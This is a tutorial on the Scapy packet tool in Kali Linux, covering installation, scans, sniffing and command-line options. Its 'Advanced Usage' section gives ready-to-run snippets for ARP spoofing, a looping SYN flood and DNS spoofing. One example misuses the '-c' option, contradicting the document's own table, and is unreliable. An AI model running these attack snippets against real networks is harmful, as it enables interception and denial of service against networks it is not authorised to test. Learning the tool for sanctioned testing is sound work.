What is Scapy?
Scapy is a powerful interactive packet manipulation tool written in Python. It allows users to craft, send, capture, analyze, and modify network packets. Unlike traditional tools like ping, traceroute, or nmap, Scapy provides full control over packet creation and network communication.
Key Features:
- Craft custom packets (Ethernet, IP, TCP, UDP, etc.)
- Send and receive packets simultaneously
- Packet sniffing and analysis
- Network scanning and attacks (e.g., ARP spoofing, SYN flooding)
- Integration with other Python scripts for automation
How Scapy Works
Scapy operates by:
- Creating packets layer by layer (Ethernet → IP → TCP/UDP → Payload).
- Sending packets over the network.
- Receiving responses and analyzing them.
- Modifying packets for testing and exploitation.
It bypasses the OS’s TCP/IP stack, allowing full customization of packets.
How to Install Scapy in Kali Linux
Scapy comes pre-installed in Kali Linux. If not, install it using:
Bash
sudo apt update
sudo apt install scapy -yFor the latest version (recommended):
Bash
pip install --pre scapy[complete]Basic Usage Examples
Starting Scapy
Run Scapy interactively:
Bash
sudo scapy(sudo is required for raw packet operations.)
Basic Packet Creation
Python
# Create an IP packet
pkt = IP(dst="google.com")/ICMP()
# Send the packet and get a response
ans = sr1(pkt)
ans.show()Ping Sweep (ICMP Scan)
Python
ans, unans = sr(IP(dst="192.168.1.1/24")/ICMP(), timeout=2)
ans.summary()TCP Port Scanning
Python
ans = sr1(IP(dst="192.168.1.1")/TCP(dport=80, flags="S"), timeout=2)
if ans:
ans.show()Packet Sniffing
Python
pkts = sniff(filter="tcp and port 80", count=10)
pkts.summary()Advanced Usage Examples
ARP Spoofing (Man-in-the-Middle)
Python
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.1", psrc="192.168.1.2")
sendp(pkt, loop=1, inter=0.2)SYN Flood Attack (DoS)
Python
target_ip = "192.168.1.1"
target_port = 80
pkt = IP(dst=target_ip)/TCP(dport=target_port, flags="S")
send(pkt, loop=1, inter=0.001)DNS Spoofing
Python
spoofed_dns = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com"), an=DNSRR(rrname="example.com", type="A", rdata="192.168.1.100"))
send(spoofed_dns)Packet Manipulation & Replay
Python
pkts = rdpcap("capture.pcap") # Read from PCAP
modified_pkt = pkts[0]
modified_pkt[IP].src = "192.168.1.100"
sendp(modified_pkt)Command-Line Options
Scapy can be used directly from the terminal without interactive mode:
Python
# Send an ICMP packet
sudo scapy -c "send(IP(dst='google.com')/ICMP())"
# Sniff packets and save to PCAP
sudo scapy -c "sniff(prn=lambda x:x.summary(), count=10, iface='eth0')"Real-World Use Cases
- Network Discovery: Scanning hosts and services.
- Penetration Testing: Exploiting vulnerabilities (e.g., ARP spoofing, SYN floods).
- Traffic Analysis: Sniffing and decoding packets.
- Firewall Testing: Crafting malformed packets to bypass security.
- Custom Protocol Testing: Simulating unusual network behavior.
Troubleshooting Tips
Common Issues & Fixes
| Issue | Solution |
|---|---|
| Permission denied | Run with sudo |
| No response from packets | Check firewall/network settings |
| Scapy not detecting interfaces | Use conf.iface to set manually |
| Packets not being sent | Verify send() vs sendp() (Layer 3 vs Layer 2) |
| DNS resolution failing | Manually set dst to an IP |
Debugging Commands
Python
conf.debug_dissector = 1 # Enable packet dissection debug
ls() # List available protocols
lsc() # List Scapy functionsScapy Command-Line Options
Scapy can be launched with several command-line arguments to customize its behavior. Here’s a breakdown of the available options:
Usage Syntax
Bash
scapy [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] [-H]Command-Line Arguments
| Argument | Description |
|---|---|
-s sessionfile | Load a previously saved Scapy session (.scapy file). |
-c new_startup_file | Use a custom startup file instead of the default (~/.scapy_startup.py). |
-p new_prestart_file | Use a custom pre-startup file (executed before the main startup file). |
-C | Disable loading the default startup file (~/.scapy_startup.py). |
-P | Disable loading the pre-startup file (if configured). |
-H | Start Scapy without the header banner (useful for scripting). |
Examples of Usage
1. Launch Scapy Without the Banner
Bash
scapy -H- Useful when running Scapy in scripts to avoid extra output.
2. Load a Saved Session
Bash
scapy -s my_session.scapy- Restores variables, packets, and settings from a previous session.
3. Use a Custom Startup File
Bash
scapy -c ~/my_custom_startup.py- Executes commands from
my_custom_startup.pyat launch.
4. Disable Default Startup File
Bash
scapy -C- Prevents loading
~/.scapy_startup.py(useful for debugging).
5. Disable Both Startup and Pre-Startup Files
Bash
scapy -C -P- Starts Scapy in a clean state without any auto-loaded configurations.